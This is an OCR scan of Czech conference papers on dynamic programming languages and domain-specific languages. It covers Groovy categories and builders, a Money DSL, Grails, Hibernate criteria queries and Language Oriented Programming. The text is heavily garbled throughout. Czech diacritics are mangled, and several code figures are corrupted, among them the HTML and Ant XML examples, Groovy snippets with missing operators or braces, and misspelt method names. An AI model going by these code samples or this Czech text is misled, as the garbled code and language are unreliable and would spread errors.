poli apod., které programéatofi pro sviij konkrétni projekt potfebuji.

Kategorie v Groovy dokazi prifadit statické metody z téchto pomocnych
objektii rovnou k manipulovanym objekttim, jako by to byly pfimo jejich metody,
coz lépe odpovidé objektové-orientovanému piistupu. Tudiz napt. misto
StringUtils.capitalizeCharacters(‘abcd’)
je mozné psat
‘abcd’.capitalizeCharacters()

ackoliv tfida String metodu capitalizeCharacters nema.
Tato pfifazeni jsou platna pouze uvnitt use bloku kédu a vice riznych use
bloki je mozno vzajemné kombinovat.

class Calculator {
static factorial(Integer value) {
return value*(value>2?factorial(value-1):1)
}
}

println Calculator.factorial(5)

use(Calculator) {
println 5.factorial()
}

println Calculator.factorial(5)

Obr. 16: Definice a pouziti kategorie pro obohaceni t¥idy java.lang. Number o me-
todu factorial

Open class

Pro zajimavost uvedu koncept zndmy z programovaciho jazyka Ruby nazvany
Open Class. Diky nému Ize libovolnou tfidu kdykoliv znovu oteviit a dodefinovat.

class String
def foo
¢¢foo’’
end
end
puts ‘‘abcd’’.foo

Obr. 17: Pouziti konceptu open class v Ruby pro rozsifeni tfidy String o metodu

foo
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Mixins

Podobné jako kategorie umoziiuji mixins kombinovat nékolik definic t¥id do-
hromady. Diky mixins lze vytvofit novy typ jako kombinaci existujicich typt

a to bud staticky pifi kompilaci, ¢i dynamicky za béhu. Podpora pro dynamické
mixins se planuje pro nékterou dalsi verzi Groovy.
def queue = new Object ()

queue.metaClass {
mixin LinkedList, ReentrantLock

get { >
withLock {
removeFirst ()
}
}
put { obj —>
withLock {
addLast (obj)
}
}
¥
¥
Obr. 18: Mozné budouci pouziti mixins v Groovy (viz [6])
Shrnuti

V prispévku jsem se pokusil prehledové seznamit s principy a odliSnostmi dyna-
mickych programovacich jazykt. Byly zminény schopnosti dynamickych jazyki,
napt. funkciondlni programovani, continuations, closures, higher-order funkce,
reflection a dalsi. Rovnéz byl poskytnut tvodni vhled do syntaxe jazyka Groovy,
moderniho zastupce rodiny dynamickych jazykid. Na jeho prikladu byly popsany
klicové vlastnosti téchto jazyktu, konkrétné skriptovani, dynamické typovani ¢i
meta-programovani.
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DOMENOVE SPECIFICKE JAZYKY

Vaclav Pech

E-MAIL: VACLAVQINTELLIJ.NET

Abstrakt

Cilem prispévku je sezndment s vlastnostmi a pouzZitim doménoveé specifickych jazyku
(DSL). Po ivodnim predstaveni konceptu, porovndni vghod a nevghod a provedeni hrubé
kategorizace se zamérime ma interni doménové specifické jazyky. UkdZeme si internt
DSL v nékolika rizngch programovacich jazycich, probereme konkrétni priklady jejich
nasazent a predvedeme si mozné zpusoby jejich definice v jazyce Groovy. Vysvétlime si
princip builderd zjednodusugjicich prdci s hierarchickymi datovymi strukturami a pred-
stavime si Grails jako vzorovou ukdzku vhodného kombinovdni néekolika pribuznych DSL
k vytvoreni efektivniho frameworku. Pro pojeti navrhu aplikact, kdy programdtori kom-
binuji kod psany v ruzngch DSL do jednoho celku, se ujal ndzev Language Oriented
Programming (LOP)

Uvod

Domeénové specifické jazyky (DSL) stavi na pfirozené myslence, Ze volba pro-
gramovaciho jazyka ma velky vliv na narocnost a efektivitu vyvoje software.
Program ve své podstaté predstavuje feseni urcitého problému a pouzity pro-
gramovaci jazyk slouzi k zapisu tohoto reseni. Historicky se programovaci jazyky
vyvijely od jazykl nizké Grovné, poskytujicich jen velmi omezené abstrakce nad
vrstvou hardware, po moderni objektové ¢i funkcionalni programovaci jazyky
budujici komplexni abstrakce tak, aby programovani stejné jako vysledny kéd
byl blize myslenkovym pochodim ¢lovéka.

Diky tomu mame dnes k dispozici mocné univerzalni jazyky jako Java, C#,
Ruby a mnoho dalsich. Univerzalnost téchto jazykt je chapana jako jejich kladna
vlastnost, protoZze omezuje nutnost uceni se novym jazykum a potiebu spravy
vice jazyka v ramci softwarovych projektt. Pro univerzalni jazyky jsou vytvareny
knihovny ¢i frameworky zaméfené na vyvoj software pro urcéitou problémovou
doménu. Frameworky zvysuji aroven abstrakce a priblizuji ji cilové doméné.
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Rozmach dynamickych programovacich jazyku jako Ruby, Groovy, Python,
F# v posledni dobé muze predznamenavat nespokojenost vyvojaiu s progra-
movacim modelem tvofenym univerzalnim programovacim jazykem doplnénym
specializujicimi frameworky.

Fenomenalni tspéch Ruby on Rails, ktery stavi na jiném modelu adaptace
jazyka pro konkrétni domény, miize byt chapan jako potvrzeni této hypotézy.

Ruby on Rails, rozsifujici programovaci jazyk Ruby o mechanismy vhodné
pro vyvoj webovskych aplikaci, neni framework v té podobé, jak jsou frameworky
klasicky chapany, ale sada tzce specializovanych programovacich jazykd, z nichz
kazdy Tesi urcity aspekt vyvoje a které dohromady hladce spolupracuji. Pravé
Ruby on Rails je nazornou ukazkou pouziti konceptu doménové specifickych
jazykt v praxi.

Doménové specifické jazyky

Doménové specifické jazyky jsou programovaci jazyky zaméfené na feSeni urci-
tého tzkého okruhu problémi. DSL jsou vétSinou velmi jednoduché, tizce zamé-
fené jazyky, které casto nejsou ani Turingovsky tplné. Poskytuji abstrakce blizsi
fesené doméné a priblizuji zapisovany kéd mentalnimu obrazu programovaného
feSeni v programatorove hlavé. Snizuji tak slozitost programovani a rovnéz na-
ro¢nost pozdéjsi udrzby kédu. V nékterych pripadech pouziti DSL umoziuje
i neprogramujicim doménovym expertiim ¢ist dany kéd, ovéfovat jeho spravnost
¢i ho upravovat bez asistence programaéatora. Nicméné programaétoii ztistavaji
i pfi pouziti DSL hlavni a ¢asto jedini tvirci kédu.

Rysy doménové specifickych jazyku

Doménové specifické jazyky nejsou nové. Typické projekty jiz dlouhou dobu kom-
binuji nékolik jednoucelovych jazykt spoleéné s jednim hlavnim univerzalnim
jazykem. Jako nézorné priklady mohou poslouzit jazyky SQL pro praci s relac-
nimi databazemi, HTML, JavaScript ¢i CSS pro tvorbu webovského uzivatel-
ského rozhrani, Velocity pro tvorbu parametrizovatelnych sablon nebo XML pro
konfiguraci.

Pfi pouziti DSL pro psani doménové logiky aplikace je vysledny kéd piehled-
néjsi, srozumitelnéjsi i pro neprogramujici doménové experty a snaze se v ném
odstranuji chyby.

Druhym ¢astym mistem pro uplatnéni DSL je ,jobaleni“ aplika¢niho rozhrani
knihoven (API). Misto aby programétor vyuzival dané API pfimo volanim jeho
metod, naprogramuje pouziti dané knihovny v dedikovaném DSL. Program je
tak opét intuitivnéjsi a prehlednéjsi.
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Jako priklad nahrazeni API obalujicim DSL lze uvést komunikaci s databazi
pfes néjaké imaginarni API zpfistupnujici pfimo tabulky, indexy a kursory v po-
rovnani s pouzitim jazyka SQL. Nebo generovani webovskych stranek z Javy
pres Servlet API v porovnani s pouzitim jazyka HTML a CSS.

Pouzity DSL ¢asto rovnéz vynucuje sémantiku volani daného API a snizuje
mnozstvi dostupnych kombinaci voldani metod API a tim omezi moZny pocet
chyb vnesenych do kédu nespravnou sekvenci volani metod API.

Déleni DSL

Pro kategorizaci doménové specifickych jazyki se ujalo déleni na externi, interni
a jazykové workbenche zavedené Martinem Fowlerem (viz [7]).

Externi DSL

Jako externi doménové specifické jazyky se oznacuji jazyky typu SQL ¢i HTML,
tedy jazyky externi vzhledem k hlavnimu pouzitému programovacimu jazyku.
Tyto jazyky maji vlastni gramatiky a parsery, nezavislé na pouzitém hlavnim
programovacim jazyku.

<a href="allnews.htwl”™>S5ece news arcchive &raguo;</ar</p>
<{faiv>
<!-- End of news -->
<div class="customwers box"» <!-—— Sidehar bannper strokes. Starting banzer block -->

<h2>Customere</h2:»

<div id="rotprBanner">
<imy sro="img/nevdesign/bamners/clientRotor.gif" alt="Our customers"/>
</div>
<p clcas-":::_mor:"?(a href="compeny/customers/ceastimonials. html” class="tesci
<a hrer="company/cuscomers/customer L1St.html” Class="more_cusconers">lMore
<fdiv>
<!-- End of hamner -->
<goript type="text/jmvascript's

Obr. 1: Piiklad externiho doménové specifického jazyka (HTML)

Dalsi priklady externich jazyki jsou awk, grep, sed, YAML, Velocity ¢ Po-
stscript.

h2 {

font-size: 1.4em;
margin-bottom: 0.5em;
letter-spacing: -0.0lem;
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font-weight: normal;
padding-bottom: 2px;
margin-left: 5px;
margin-top: 5px;

}

h3 {

border: 0;

}

#content {
padding: 0 O 2em O;
height:41em;

}

Obr. 2: Priklad externiho doménové specifického jazyka (CSS)

Programatofi si mohou definovat vlastni externi DSL, pokud vytvofi par-
ser schopny danému jazyku porozumét. Nastroje jako Yacc, JavaCC, ANTLR,
Coco/R, MixedCC, SableCC, ¢asto oznacované jako compiler-compilers, tedy
kompilatory kompilatort, proces tvorby vlastniho parseru znac¢né zjednodusuji.
Externi DSL poskytuji téméf neomezenou volnost pti definici gramatiky a mohou
tedy tésné kopirovat model popisované problémové domény.

select

employee.LAST_NAME as lastName
from

internalDB.employee employee
where

employee.AGE<30
Obr. 3: Piiklad externiho doménové specifického jazyka (SQL)

Na druhou stranu praveé nutnost definovat vlastni parser a poté ho integrovat
do vyvijeného systému proces tvorby DSL komplikuje a prodluzuje. Vytvoreny
externi DSL navic pfi pouziti v systému casto ptusobi ponékud umeéle a nepfiro-
zené. Naptiklad, pokud aplikace pouziva SQL pro komunikaci s databazi, SQL
prikazy jsou typicky manipulovany jako stringové proménné ¢i textové soubory,
jejichz obsah je pro dany hlavni programovaci jazyk neinterpretovatelny. Tento
obsah je bez jakékoliv moznosti kontroly spravnosti pri prekladu aplikace ¢i pred
vlastnim vykonanim za béhu predan externimu parseru. Zde naptiklad JDBC
ovladadi, ktery se postara o kontrolu, preklad a vykonani SQL kédu. Hlavni kéd
aplikace a kéd v externim DSL jsou striktné oddéleny jak logicky, tak casto
i umisténim v projektu, a jinym zptisobem se s nimi naklada.
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final PreparedStatement statement =
connection.prepareStatement ("select" +
" employee.LAST_NAME as lastName " +
" from internalDB.employee employee " +
" where employee.AGE<30");

final ResultSet resultSet = statement.executeQuery();

Obr. 4: Piiklad prace s externim doménové specifickym jazykem (SQL v Javé)

Externi DSL malokdy poskytuji vyvojaitim pokrocilé nastroje jako debugger,
inteligentni editor, profiler apod. Tim se efektivita vyvoje v DSL v porovnani
s pouzitim univerzalniho programovaciho jazyka ponékud snizuje.

Tyto nevyhody externich DSL mohou v mnoha p¥ipadech prevazit nad jejich
pfinosy. Interni DSL, o kterych se zminime déle, tyto nedostatky odstramuji.

Interni DSL

Interni DSL jsou vytvofeny piimo v ramci hlavniho programovaciho jazyka.
Nevyzaduji tedy vlastni gramatiku ani parser, ale vyuzivaji plné infrastruktury
svého hostujiciho jazyka. Interni DSL v podstaté urc¢itym zptsobem vyuziji moz-
nosti rozsirovani hostujiciho jazyka, doplni ho svymi konstrukty a casto ve spo-
jeni s vhodnym vizudlnim formatovanim kédu vznikne vnofeny jazyk, ktery je
mozné libovolné kombinovat s konstrukty hostujiciho jazyka.

use(org.codehaus.groovy.runtime.TimeCategory) {
println "Tomorrow: ${1.day.from.todayl}"
println "A week ago: ${1.week.ago}"
println "Date: ${1.month.ago + 1.week + 2.hours - 5.minutes}"
println "Date ${(1.month + 10.days).ago}"

Obr. 5: Interni DSL (prace s datumy v Groovy)

final Sequence sequencel = context.sequence("sequencel");
context.checking(new Expectations() {

{

one (subscriber) .receive (message) ;

inSequence (sequencel); will(returnValue(7);

one (subscriber) .receive (message?2) ;
inSequence) sequencel) ;will(returnValue (14))
}

b;

Obr. 6: Interni DSL (definice mock objektt z knihovny JMock v Jave)
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<target name="compile.module.employeed tests" depends="compile .module.employeedemo. production”

description="compile module Employeeleno; test classes" unless="skip.tests">

amkdir dir="${employeedemo.tectoutput.dix)’ />

<javac destdair="$§{enployeedemo.testoutput.dir}" debug="5§{compiler.debuy}"

novern="${conpiler.generate.no.varnings)" memorymaximmsize="${compiler.max.memory}" fork="true">

<compilerarg lise="§{compiler.args.employeedemo}' />
<clasepath refid-"employeedemo.module.clasepath" />
<{classpath locatlon="§{employeedeno. outpat .air}” />
{src refid="employeedemo.nodule. test .sourcepath" />
<¢patternset refid="excluded. from compilation employeedema' />

</javac>

<copy todir="5{emyloyeedeno. testoutput .dir}">
<fileeet dir="%5{module.employredanc.hagedir) fteet funit'>
Cpatternset rerid="compller.resources” >
<type type="file" />
</fileset>
</eopyr
</targety

Obr. 7: Interni DSL (Ant skript v XML)

println("Total in GBP: "
+ (EUR(10) + (USD(10) to EUR) to GBP))

Obr. 8: Interni DSL (préce s penézi v riznych ménach ve Scale)

Kéd napsany internim DSL je stale validni kéd hostujiciho programovaciho
jazyka, tudiz pro praci s nim jsou okamzité k dispozici nastroje jako editor, de-
bugger, profiler, testovaci frameworky a dalsi, které nabizi prostfedi hostujicitho
jazyka. To mé samoziejmé pozitivni vliv na kvalitu a efektivitu vyvoje.

Na obréazcich 10 a 11 je pouzit interni DSL v Groovy navrzeny pro popis
pfevodu penéz mezi ucty v kontrastu s ne-DSL Groovy kédem na obrazku 9.

Money money = new Money(amount: 10, currency: ’eur’)
getAccount (’Accountl’) .withDraw money
getAccount (’Account3’) .deposit money

Obr. 9: Originalni kéd v Groovy pro Gcetni operace

"Accountl" >> 10.eur >> "Account3"

Obr. 10: DSL kdd stejné ucetni operace v internim DSL v Groovy

Diky tésnému propojeni interntho DSL a hostujiciho jazyka lze snadno kom-
binovat DSL s konstrukty hostujiciho jazyka jako jsou cykly ¢i rozhodovaci logika
a DSL tak ziskava vypocetni silu hostujiciho jazyka.

clients*.account.each{it >> 10.eur >> "PaymentAccount"}

Obr. 11: Kombinace interniho DSL s konstrukty hostujiciho jazyka
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DSL workbenche

Jazykové workbenche, popsané podrobné v [7], stavi na myslence Language Ori-
ented Programming (LOP), pfedstavené v [8]. Jedna se o integrovana vyvojova
prostiedi, v nichz programétor co nejptirozenéjsi cestou tvori doménové speci-
fické jazyky, manipuluje s nimi a vytvaii aplikace s pouzitim danych jazykia.

Principy LOP a tedy i pouziti jazykovych workbenchu jsou popsany dale
v ¢lanku.

Vyhrady k DSL

Proti nasazeni DSL v projektech hovofi nékolik ¢astych ndmitek. Vice v [6].

Naklady na vytvoreni DSL

Piiprava DSL tak, aby mohl byt pouzit na projektu, s sebou samoziejmé nese
urcité naklady. Tyto naklady jsou vétsinou nizsi pro interni DSL neZ pro externi.
Navic DSL nejsou plnohodnotné programovaci jazyky. Casto lze dané jazyky
znovu pouzit na dalSich projektech a nemusi se tudiz pro opakujici se problémy
definovat vzdy znovu. To vSe pfispiva k tomu, Ze naklady spojené s vytvorenim
DSL se rychle vrati zvySenou produktivitou vyvoje vlastniho systému pfi jejich
nasazeni. Pokud by pfinosy daného DSL byly nizsi nez naklady na jeho vytvoreni,
nema smysl takovy DSL vytvaret.

Zmateni jazyku

Dalsi castd namitka se tyka nutnosti u¢it se mnoho novych programovacich ja-
zykt a potfeby je vSechny spojit do jednoho fungujiciho projektu. Toto je samo-
ziejmé pravda, nicméné i v klasické situaci, kdy se misto DSL zvoli pfimy pristup
na API pouzité knihovny, bez zprostfedkovani pres DSL, se budou programéatori
muset naucit t¥idy a metody daného API, sémantiku jeho pouziti a zaclenit tuto
knihovnu do projektu tpravou konfigurac¢nich soubort specifickych pro tu kterou
knihovnu. Mnozstvi neproduktivni prace pfi pouziti DSL vétsinou nevzroste.

Tézky navrh

Namitku tykajici se slozitosti navrhu jazykt a neschopnosti fadovych progra-
matora definovat DSL Ize vyvratit upozornénim na cilenou jednoduchost DSL.
Zvlasté v pripadé internich DSL jde spiSe o definici omezeni v rdmci hostuji-
ciho univerzalniho jazyka. Definice DSL tak neni o nic tézsi nez navrh vlastniho
doménového modelu ¢i knihovny s intuitivnim API, které navrhovany DSL ,oba-
luje“.
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Migrace

Objevuji se rovnéz obavy o zachovani konzistence programu pii zméné definice
DSL. Stejné jako v pfipadé zmény API libovolné knihovny muze si zména defi-
nice DSL vynutit tpravy kédu programi, které je pouzivaji. Zmény v DSL tak
nepredstavuji zadna dalsi rizika navic. Nicméné podpora nastroju pro refaktoro-
vani API je dnes na mnohem vyssi Girovni nez jak je tomu v pfipadé refaktorovani
definic DSL. Tudiz zmény v DSL si vynuti vice manualnich zasahi do kédu nez
v pfipadé primého vyuzivani APL.

Sklouznuti k obecnosti

Na ptikladu knihovny Ant lze ilustrovat pfirozenou tendenci API a DSL absor-
bovat nové a nové napady, a tim se neustale rozsifovat a vnitiné komplikovat.
Pivodné jednoduchy jednotucelovy jazyk nabaluje dalsi a dalsi koncepty, pfi-
davéa iteracni a rozhodovaci logiku a tim se stava plnohodnotnym univerzalnim
jazykem a ztraci svou ptivodni pruznost a jednoduchost.

Tuto tendenci je vhodné véas rozeznat a nahradit postupné bobtnani daného
DSL definici novych samostatnych jazykt jako rozsifeni jazyka ptvodniho.

Konstrukce internich DSL v Groovy

Vlastnosti jazyka vhodné pro konstrukci internich DSL

Volné pravidla ohledné zavorek, ukonceni radki, indikace navratovych hodnot
a uvadéni typové informace, stejné jako dostupnost closures, implicitnich para-
metri, pretézovani operatort, tvorba mixins a moznost meta-programovani jsou
vlastnosti, které definici doménové specifickych jazykt usnadnuji. Proto jsou
obecné dynamické jazyky pro tvorbu DSL pouzivany casté€ji. Nicméné nékteré
moderni statické jazyky, jako naptiklad Scala, nabizeji také velky potencial pro
interni DSL diky vlastnostem jako type inference, pattern matching ¢i implicitni
konverze.

Groovy

Programovaci jazyk Groovy je velmi vhodny pro definici internich DSL. Jako
dynamicky programovaci jazyk nabizi vétSinu ze zminénych vlastnosti. Groovy
dovoluje pretézovat operatory, dynamicky pfidavat nové metody ¢i operatory
k existujicim tfidadm za béhu pomoci meta-programovani, ¢i obohatit libovolnou
tfidu o metody a properties jiné tfidy pomoci konceptu Kategorie. Pfedefinova-
nim chovani standardnich metod invokeMethod, methodMissing a propertyMis-
sing je mozné reagovat i na volani neexistujicich metod.
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Pro ilustraci uvadim zjednoduseny priklad DSL pro préaci s penézi. TFida
Money definuje zakladni vlastnosti, operatory pro s¢itani a odc¢itani penéz stejné
mény a metodu pro konverzi mén.

class Money implements Comparable {
BigDecimal amount
String currency

Money plus(Money other) {
checkCurrencies other
return new Money(amount:this.amount
+ other.amount, currency:this.currency)

Money minus(Money other) {
checkCurrencies other
return new Money(amount:this.amount
- other.amount, currency:this.currency)

Money to(String newCurrency) {
return new Money(
amount : amount*conversion. "$§currency" . "$newCurrency",currency:newCurrency)
}
}

Obr. 12: Definice t¥idy Money

Ttida MoneyCategory poté ptidava ¢isltim (tf¥ida java.lang. Number) a tfidé
Money read-only properties, které vraci odpovidajici instance t¥idy Money, pri-
padné provedou i potfebnou konverzi mén.

class MoneyCategory {
static Money getEur (Number num) {
new Money(amount:num, currency:"eur")}

static Money getUsd(Number num) {
new Money(amount:num, currency:'"usd")}

static Money getCzk(Number num) {
new Money(amount:num, currency:"czk")}

static Money getGbp(Number num) {
new Money(amount:num, currency:"gbp")}
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static Money getEur(Money money) {money.to("eur")}
static Money getUsd(Money money) {money.to("usd")}
static Money getCzk(Money money) {money.to("czk")}
static Money getGbp(Money money) {money.to("gbp")}

Obr. 13: Definice kategorie MoneyCategory

Pokud vyuzijeme koncept Kategorie, muzeme potom v kédu pomoci use
bloku pfifadit vSechny statické metody t¥idy MoneyCategory typtm svych prv-
nich parametri a obohatit tak tfidy java.lang. Number a Money o nové metody.

use (MoneyCategory) {
Money moneyl = 130.czk
Money money2 2400.eur
Money money3 = (10.eur + 20.usd.eur).gbp
List<Money> largeTransfers =
[moneyl, money2, money3].findAl1{it > 390.usd}
}

Obr. 14: Pouziti MoneyCategory

Platnost naseho DSL je tedy omezena na presné definovany blok kédu.

Buildery

Buildery definuji specifické interni DSL, zaméfené na definici objektovych hierar-
chii ¢i graft. Hierarchie jsou obecné pfi popisu problémovych domén velmi ¢asto
pouzivané. Hierarchie grafickych komponent tvofi uzivatelské rozhrani aplikaci,
hierarchie textovych znacek popisuje strukturovany dokument (napf. v XML),
databazovy dotaz lze zapsat jako hierarchii pozadovanych omezeni hodnot atri-
butt a logickych operatorti apod. Moznost manipulovat s hierarchiemi kédem,
ktery svoji vlastni strukturou manipulovanou hierarchii kopiruje, napomaha sro-
zumitelnosti kédu.

xml.records() {
order(id:’PL125353°, date:’21-01-2008) {
item(quantity:10) {
product (id:’76234°)
price(base:100) {
volumeDiscount (value:5)

}

Obr. 15: Pouziti builderu pro konstrukci XML dokumentu
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ant.sequential {
echo("inside sequential")
myDir = "target/AntTest/"
mkdir(dir: myDir)
copy(todir: myDir) {
fileset(dir: "src/test") {
include(name: "**/*.groovy")

}

List dirs = [’core’, ’1ib’, ’engine’, ’gui’, ’db’]
for(String currentDir:dirs) {
String targetDir="target/$currentDir"
mkdir(dir:targetDir)

Obr. 16: Pouziti builderu pro definici Ant skriptu

JFrame frame = new SwingBuilder().frame(title: ’Demo’,
defaultCloseOperation: JFrame.EXIT_ON_CLOSE) {
lookAndFeel(’system’)
menuBar () {
menu(text: ’Demo’, mnemonic: ’D’) {
menultem() {
action(name:’Inform’, closure:{println ’Menu invoked’},
accelerator:shortcut(’I’))
}
menultem() {
action(name:’Exit’, closure:{System.exit 03})

}
}
vbox {
JLabel message = label(’Swing Builder Demo’)
scrollPane {
messages = textArea()
}
button(’Press me’, actionPerformed: {
doOutside {
Thread.sleep(5000)
doLater {
messages.text += ’Pressed\n’

}
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}, mnemonic: ’P’)
k]

}

Obr. 17: Pouziti builderu pro definici uzivatelského rozhrani pomoci knihovny
Swing

Groovy vyvojari maji né€kolik moznosti jak buildery definovat. Jednoduché
buildery 1ze definovat pfimo predefinovanim metody invokeMethod, kteréa reaguje
na volani neexistujicich metod. Builder implementovany na obrazku 18 prevede
volani neexistujicich metod na XML tagy pojmenované podle dané volané me-
tody. Tak jak jsou do sebe vnoreny closures volajici metody na nasem builderu,
tak budou do sebe vnofeny generované XML tagy.

class MyBuilder {
def invokeMethod(String methodName, args) {

def result = ’7;

if (args.size() > 0) {
Closure closure = args[0]
closure.delegate = this
result = closure()

}

return "<$methodName>$result</$methodName>"

}

//Pouziti builderu
def doc = new MyBuilder().html {

body {
div() {
"content"
}
}
}
Obr. 18: Definice a pouziti jednoduchého builderu
Gralils

Knihovna pro vyvoj webovskych aplikaci Grails je pravdépodobné nejznaméjsi
framework spojeny s jazykem Groovy. Grails se hodné inspiroval u Ruby on
Rails. Principy a myslenky, které stoji za tspéchem Ruby on Rails, pfenasi Grails
Gaspésné na platformu Java. Za zminku urcité stoji nasledujici:
e Convention over Configuration (CoC) — knihovna zavadi konvence pro
ruzné oblasti vyvijené aplikace — takové, aby minimalizovala nutnost ex-
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plicitni konfigurace. Pouze v pripadé odchylky od konvence musi vyvojari
tyto odchylky popsat konfiguraci.

Build scripts — Grails nabizi skripty pro automatizované vytvareni kom-
ponent aplikace, jejich sestavovani, spousténi ¢i testovani.

Configuration by exception — co neni explicitné konfigurovano, ma do-
hodnutou zakladni hodnotu. Prazdnou aplikaci je mozno hned po jejim
vytvoreni spustit ¢i testovat. Odpada tvodni etapa vétsiny projektt, kdy
se od zakladu vyviji minimalni fungujici aplikace, kterou by bylo mozno
testovat a spoustét.

Don’t repeat yourself — Grails minimalizuji poc¢et mist, na kterych je nutno
duplicitné uvadeét ¢i definovat vlastnosti a omezeni.

Rozhodujici podobnosti mezi Grails a Ruby on Rails je ovSsem vnitini roz-

déleni vytvarené aplikace na domény. Ty jsou programované vzdy v jazyce pfi-
zpusobeném dané doméné — v internim doménové specifickém jazyce. Hostujicim
jazykem u Grails je Groovy, zatimco u Ruby on Rails se jedna o Ruby.

Vnitiné Grails stavi na vyzkousenych Java knihovnach a standardech, napf.

Spring, Hibernate, log4J ¢i SiteMesh. Zjednodusené feceno Grails nabizi sadu in-
ternich DSL pro snadnéjsi praci s uvedenymi technologiemi na projektech webov-
skych aplikaci.

Uvedme si nyni nékolik pfikladi internich DSL pouzitych v Grails.

Zavislosti doménovych tiid

Zavislosti mezi doménovymi tfidami se vyjadiuji uvnitt kédu samotnych domé-
novych tfid nastavenim hodnot do statickych poli.

class Conference {

}
}

String name
String country

static hasMany=[participants:Participant]
static fetchMode=[participants:"eager"]
static mapping = {
table "CONFERENCE"
name column:"CONFERENCE_NAME"
country(column: "COUNTRY_CODE", type:"string")

Obr. 19: Definice relace mezi doménovymi tfidami a databazové mapovani tiidy
Conference
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Dynamic finders

Pro zadavani jednoduchych dotazi umoznuji doménové t¥idy pokladat dotazy
pfimo jménem volané metody. Zde se vnitiné vyuziva dynamika Groovy k vy-
hodnoceni volani ve skutecnosti neexistujicich metod.

Account.findByOwnerLike("Joe Sm}%")
User.findA11ByAgeLessThanAndIdLike (39, "NX%")
Book.findByReleaseDateBetween(datel, date2)

Obr. 20: Dotazovani dynamickymi metodami

Hibernate criteria API

Pro sofistikovanéjsi dotazy je pripraven Hibernate Criteria API Query Builder,
ktery poskytuje intuitivni DSL nad Hibernate Criteria API.

def participants = Participant.createCriteria().list {
gt(‘age‘, 39)

or {
eq(‘ interest‘, ¢ Java‘)
eq(‘ interest‘, ¢ Groovy‘)
}
conference {
ilike(‘ country‘, ‘cz‘)
}
order(‘ lastName‘ , ‘asc‘)
}

Obr. 21: Vyuziti Hibernate Criteria API builderu k definici dotazu

View vrstva — GSP

Pro vlastni uzivatelské rozhrani je mozné pouzit technologii Groovy Server Pages
(GSP), ktera velmi pfipomind JSP. V podstaté jde o stranku popsanou pomoci
jazyka HTML s tagy pouzivajicimi Groovy kdd.

<y:eack ln="§{conrferencelist}” var="conterence"s>
<tr>
<td=${fieldValue(bean:conference, field: 'id')}</td>

<td>§{ficldValue(bean:conference, field: 'name')}«</td>
<td>§{fieldValue(bean:conference, field: 'location')}</td>
</te>

</g:ieach>-

Obr. 22: Groovy kéd uvniti GSP
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Konfigurace

Pouzité technologie se v Grails, na rozdil od jinych technologii vyuzivajicich
XML, konfiguruji pomoci DSL. Konfigura¢ni kéd je kompaktnéjsi, pro jeho edi-
taci lze vyuzit libovolny Groovy editor a v kédu je mozno pouzivat cykly a roz-
hodovaci logiku, protoze se v podstaté stale pracuje s plnohodnotnym progra-
movacim jazykem.

dataSource (BasicDataSource) {
driverClassName = ¢ org.hsqldb.jdbcDriver*
url = ¢ jdbc:hsqldb:mem:shopDB

}

calculator(demo.shop.CalculatorImpl) { bean ->
bean.singleton = true
bean.autowire = ¢ DbyType*
defaultDataSource = dataSource

Obr. 23: Konfigurace knihovny Spring

Zmac¢ny uspéch Ruby on Rails stejné jako rostouci obliba Grails naznacuji, ze
uvedené myslenky a principy mnoho vyvojaiu oslovily. Vice o Grails lze nalézt
v [2] a [4].

Language Oriented Programming

Principy a vnitini rozvrzeni knihovny Grails na nékolik dedikovanych DSL vy-
stihuje zakladni myslenky souhrnné oznacované jako Language Oriented Progra-
mming (LOP) (viz [8]).

Podle LOP se pfi feseni urcitého problému vyplati investovat Gsili do vytvo-
feni nového ¢i nalezeni existujictho programovaciho jazyka, ktery velmi presné
popisuje doménu daného problému a umozni programatorovi zapsat reseni to-
hoto problému co nejpfirozenéji. Odpadne tak narocny, nudny a velmi chybovy
proces prekladu onoho feseni v programatorové hlavé do univerzalniho progra-
movaciho jazyka jako napt. Java, jehoz programové konstrukty jsou fesené pro-
blémové doméné vzdalené.

LOP rovnéz méni nékteré zazité predstavy — napf. ze zdrojovy kéd musi
byt nutné reprezentovan a editovan v textové podobé. Experimentélni nastroje
podporujici LOP reprezentuji zdrojovy kéd jako abstraktni graf. Tim odpada
nutnost definovat gramatiku a parser pro nové vytvareny programovaci jazyk
a proces tvorby programovaciho jazyka se tak zjednodusuje.

Editor ¢i vice riznych editori poté programatorovi nabizeji ne nutné uplné
projekce abstraktniho grafu reprezentujiciho program do zvolené cilové podoby —
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nejCastéji textové ¢i grafické. Editor ovSsem pfimo méni abstraktni graf daného
programu, nikoliv pouze jeho textovou projekci.

Kromé vlastniho jazyka a jednoho ¢i vice editori definuje autor jazyka také
libovolny pocet generatort pro pozadované cilové platformy. Cilovou platformou
muze byt jak pfimo spustitelny kod, tak zdrojovy kéd nékterého univerzalniho
programovaciho jazyka.

Koncept LOP a pro néj dostupné nastroje jsou v soucasné dobé ve fazi prv-
nich praktickych nasazeni na vyvoji systémi. Jako vyznamné zastupce tohoto
odvétvi bych uvedl nasledujici t¥i spole¢nosti:

e JetBrains se systémem Meta-Programming System
(http://www.jetbrains.com/mps/)

e Intentional Software (http://www.intentsoft.com/)

e Microsoft s produktem Software factories
(http: //www.softwarefactories.com/)

Pro podrobnéjsi informace o tomto slibném sméru vyvoje programovani do-
porucuji zvlasté [7] a [8].

Shrnuti

V prispévku jsem se pokusil pfehledové seznamit s konceptem doménové speci-
fickych jazyku. Predvedli jsme si jak externi, tak interni jazyky a uvedli jejich
mozné uziti. Pasdze vénované konstrukci internich DSL v jazyce Groovy mély
poslouzit jako navod a inspirace k tvorbé vlastnich DSL pfi feseni konkrétnich
problémt. Jako dikaz zivotaschopnosti a prospésnosti internich DSL jsme si
predstavili knihovnu Grails a pfedvedli jsme nékolik DSL, které jsou uvniti to-
hoto frameworku pouzity. Poukézali jsme také na koncept nazvany Language
Oriented Programming jako na mozny dalsi smér vyvoje programovani.
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